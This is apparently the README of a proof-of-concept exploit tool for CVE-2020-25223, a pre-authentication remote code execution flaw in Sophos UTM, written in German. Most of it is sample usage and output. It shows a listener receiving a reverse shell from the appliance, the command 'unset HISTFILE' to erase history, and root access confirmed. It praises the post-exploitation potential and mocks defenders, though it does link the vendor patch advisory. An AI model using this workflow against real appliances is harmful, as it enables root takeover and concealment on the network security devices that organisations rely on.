sophucked

CVE-2020-25223 RCE-PoC, erzeugt eine Reverse-Shell. Pre-Auth. Habe das schnell implementiert, da es nötig war, einige Bedrohungsmagneten zu vereinheitlichen.

Beispielverwendung:

# python sophucked.py https://x.x.x.x:4443 x.x.x.x 80
(+) starting handler on port 80
(+) Sending callback to x.x.x.x:80
(+) connection from x.x.x.x
(+) pop thy shell!
bash: no job control in this shell
utm:/var/confd # unset HISTFILE
unset HISTFILE
utm:/var/confd # id
id
uid=0(root) gid=0(root) groups=0(root)
utm:/var/confd # exit
exit
exit
*** Connection closed by remote host ***
# 

Scannen/Erkennung

Hier nicht implementiert, verwende einfach die nuclei-Vorlage.

Post-Exploitation-Hinweise

Diese haben einen Python-Interpreter und tatsächlich eine sehr voll ausgestattete Linux-Umgebung. Erstaunliches Potenzial für Post-Exploitation.

Hinweise für das Blue Team

Ich bin sicher, jemand, den das interessiert, kann das ausfüllen. Bitter (eine Teilmenge des „Blue-Team-Twitter") wird das wahrscheinlich bald tun. Ich meine, es kann doch nicht so schwer sein, eine unverschlüsselte Reverse-Shell zu erkennen, die von eurer Unified Threat Manager Box nach außen sendet, oder?

Fehlerbehebung

Jemand (vermutlich von Sophos) hat das geschickt. Es ist der offizielle Link zur Fehlerbehebung. Aktualisiert eure UTM. https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce

Referenzen usw.

Drittanbieter-Referenz (Fehlerdetails): https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223

Beschwerden direkt an Sophos, die irgendwie dachten, die Übergabe von Benutzereingaben an open() in Perl sei im 21. Jahrhundert eine gute Idee.